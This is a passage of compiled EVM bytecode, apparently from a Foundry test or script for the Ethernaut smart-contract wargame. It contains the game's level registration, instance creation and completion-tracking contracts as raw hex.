ffffff1660e01b81526004015f604051808303815f875af115801562000428573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200045191908101906200185b565b90508060018251620004649190620019eb565b8151811062000477576200047762001a01565b60200260200101515f015160028151811062000497576200049762001a01565b60200260200101515f1c9150509392505050565b606060168054806020026020016040519081016040528092919081815260200182805480156200050357602002820191905f5260205f20905b81546001600160a01b03168152600190910190602001808311620004e4575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa1580156200056d573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000596919081019062001a15565b90505f818485604051602001620005af92919062001a67565b60408051601f1981840301815290829052620005cf929160200162001b15565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb11906200063390859060040162001b47565b5f60405180830381865afa1580156200064e573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000677919081019062001a15565b90505f620006c46040518060400160405280601081526020017f2e62797465636f64652e6f626a65637400000000000000000000000000000000815250836200128090919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000817575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b82821015620007ff578382905f5260205f200180546200076d9062001b5b565b80601f01602080910402602001604051908101604052809291908181526020018280546200079b9062001b5b565b8015620007ea5780601f10620007c057610100808354040283529160200191620007ea565b820191905f5260205f20905b815481529060010190602001808311620007cc57829003601f168201915b5050505050815260200190600101906200074d565b505050508152505081526020019060010190620006fb565b50505050905090565b606060188054806020026020016040519081016040528092919081815260200182805480156200050357602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311620004e4575050505050905090565b606060178054806020026020016040519081016040528092919081815260200182805480156200050357602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311620004e4575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000817575f8481526020908190206040805180820182526002860290920180546001600160a01b03168352600181018054835181870281018701909452808452939491938583019392830182828015620009c157602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190600401906020826003010492830192600103820291508084116200096d5790505b5050505050815250508152602001906001019062000903565b60605f8267ffffffffffffffff811115620009f957620009f9620013f5565b60405190808252806020026020018201604052801562000a23578160200160208202803683370190505b5090505f5b8381101562000b63575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000a70573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000a96919062001b95565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562000b14575f80fd5b505af115801562000b27573d5f803e3d5ffd5b505050508083838151811062000b415762000b4162001a01565b6001600160a01b03909216602092830291909101909101525060010162000a28565b5092915050565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000817578382905f5260205f2001805462000bad9062001b5b565b80601f016020809104026020016040519081016040528092919081815260200182805462000bdb9062001b5b565b801562000c2a5780601f1062000c005761010080835404028352916020019162000c2a565b820191905f5260205f20905b81548152906001019060200180831162000c0c57829003601f168201915b50505050508152602001906001019062000b8d565b5f8060405162000c4f9062001322565b604051809103905ff08015801562000c69573d5f803e3d5ffd5b5090505f60405162000c7b9062001330565b604051809103905ff08015801562000c95573d5f803e3d5ffd5b50848360405162000ca6906200133e565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff08015801562000ce0573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b15801562000d3f575f80fd5b505af115801562000d52573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000817575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000e3f57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000deb5790505b5050505050815250508152602001906001019062000d81565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562000eb4575f80fd5b505af115801562000ec7573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b15801562000f25575f80fd5b505af115801562000f38573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000f9c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000fc591908101906200185b565b905060018151111562000fdd57600191505062000fe2565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000817578382905f5260205f200180546200102b9062001b5b565b80601f0160208091040260200160405190810160405280929190818152602001828054620010599062001b5b565b8015620010a85780601f106200107e57610100808354040283529160200191620010a8565b820191905f5260205f20905b8154815290600101906020018083116200108a57829003601f168201915b5050505050815260200190600101906200100b565b6008545f9060ff1615620010d5575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa15801562001164573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200118a919062001bb3565b1415905090565b606060158054806020026020016040519081016040528092919081815260200182805480156200050357602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311620004e4575050505050905090565b5f620011fe824362001bcb565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b15801562001265575f80fd5b505af115801562001278573d5f803e3d5ffd5b505050505050565b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be890620012d7908690869060040162001be1565b5f60405180830381865afa158015620012f2573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200131b919081019062001c12565b9392505050565b610ae58062001c4983390190565b611e7a806200272e83390190565b610daa80620045a883390190565b6001600160a01b038116811462001361575f80fd5b50565b5f805f6060848603121562001377575f80fd5b833562001384816200134c565b9250602084013562001396816200134c565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b81811015620013e95783516001600160a01b031683529284019291840191600101620013c2565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff811182821017156200142f576200142f620013f5565b60405290565b604051601f8201601f1916810167ffffffffffffffff81118282101715620014615762001461620013f5565b604052919050565b5f67ffffffffffffffff821115620014855762001485620013f5565b50601f01601f191660200190565b5f60208284031215620014a4575f80fd5b813567ffffffffffffffff811115620014bb575f80fd5b8201601f81018413620014cc575f80fd5b8035620014e3620014dd8262001469565b62001435565b818152856020838501011115620014f8575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b838110156200153157818101518382015260200162001517565b50505f910152565b5f81518084526200155281602086016020860162001515565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b848110156200161a57603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b818110156200160357605f19888503018352620015f084865162001539565b948d01949350918c0191600101620015d1565b50505096890196935050908701906001016200158b565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b83811015620016e857888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b80831015620016d25783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a01906200168e565b5096890196945050509086019060010162001650565b509098975050505050505050565b5f6020828403121562001707575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b828110156200176757603f198886030184526200175485835162001539565b9450928501929085019060010162001735565b5092979650505050505050565b5f6020828403121562001785575f80fd5b81356200131b816200134c565b5f8060408385031215620017a4575f80fd5b8235620017b1816200134c565b91506020830135620017c3816200134c565b809150509250929050565b5f67ffffffffffffffff821115620017ea57620017ea620013f5565b5060051b60200190565b5f62001804620014dd8462001469565b905082815283838301111562001818575f80fd5b6200131b83602083018462001515565b5f82601f83011262001838575f80fd5b6200131b83835160208501620017f4565b805162001856816200134c565b919050565b5f60208083850312156200186d575f80fd5b825167ffffffffffffffff8082111562001885575f80fd5b818501915085601f83011262001899575f80fd5b8151620018aa620014dd82620017ce565b81815260059190911b83018401908481019088831115620018c9575f80fd5b8585015b83811015620019ca57805185811115620018e5575f80fd5b86016060818c03601f19011215620018fb575f80fd5b6200190562001409565b888201518781111562001916575f80fd5b8201603f81018d1362001927575f80fd5b898101516200193a620014dd82620017ce565b81815260059190911b8201604001908b8101908f8311156200195a575f80fd5b6040840193505b828410156200197c5783518252928c0192908c019062001961565b845250505060408201518781111562001993575f80fd5b620019a38d8b8386010162001828565b8a83015250620019b66060830162001849565b6040820152845250918601918601620018cd565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111562000fe25762000fe2620019d7565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121562001a26575f80fd5b815167ffffffffffffffff81111562001a3d575f80fd5b8201601f8101841362001a4e575f80fd5b62001a5f84825160208401620017f4565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f835162001aa081600585016020880162001515565b7f2e736f6c2f000000000000000000000000000000000000000000000000000000600591840191820152835162001adf81600a84016020880162001515565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f835162001b2881846020880162001515565b83519083019062001b3e81836020880162001515565b01949350505050565b602081525f6200131b602083018462001539565b600181811c9082168062001b7057607f821691505b60208210810362001b8f57634e487b7160e01b5f52602260045260245ffd5b50919050565b5f6020828403121562001ba6575f80fd5b81516200131b816200134c565b5f6020828403121562001bc4575f80fd5b5051919050565b8082018082111562000fe25762000fe2620019d7565b604081525f62001bf5604083018562001539565b828103602084015262001c09818562001539565b95945050505050565b5f6020828403121562001c23575f80fd5b815167ffffffffffffffff81111562001c3a575f80fd5b62001a5f848285016200182856fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e00565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b600181815481106111af575f80fd5b6001600160a01b038084165f81815260106020908152604080832054600b835281842095881680855295835281842054948452600c83528184209584529490915281205490929183918291611ba291611db1565b6001600160a01b0388165f9081526010602052604081205491925003611be1576001600160a01b0387165f908152601060205260409020819055611c29565b8481611bee600183611db1565b611bf89086611dca565b611c029190611e14565b611c0c9190611de1565b6001600160a01b0388165f90815260106020526040902081905591505b5095945050505050565b828054828255905f5260205f20908101928215611c6c579160200282015b82811115611c6c578251825591602001919060010190611c51565b50611c78929150611c7c565b5090565b5b80821115611c78575f8155600101611c7d565b80356001600160a01b0381168114611ca6575f80fd5b919050565b5f8060408385031215611cbc575f80fd5b611cc583611c90565b9150611cd360208401611c90565b90509250929050565b5f805f60608486031215611cee575f80fd5b611cf784611c90565b9250611d0560208501611c90565b9150611d1360408501611c90565b90509250925092565b5f60208284031215611d2c575f80fd5b61125082611c90565b5f60208284031215611d45575f80fd5b5035919050565b5f805f60608486031215611d5e575f80fd5b611d6784611c90565b9250611d7560208501611c90565b9150604084013590509250925092565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611daa57611daa611d85565b5060010190565b81810381811115611dc457611dc4611d85565b92915050565b8082028115828204841417611dc457611dc4611d85565b5f82611dfb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611dc457611dc4611d8556fea264697066735822122066af37f02a1e446ad91bfc4bf9b0dd5322bb220097108143b357e6128534eb5464736f6c63430008180033608060405234801562000010575f80fd5b5060405162000daa38038062000daa83398101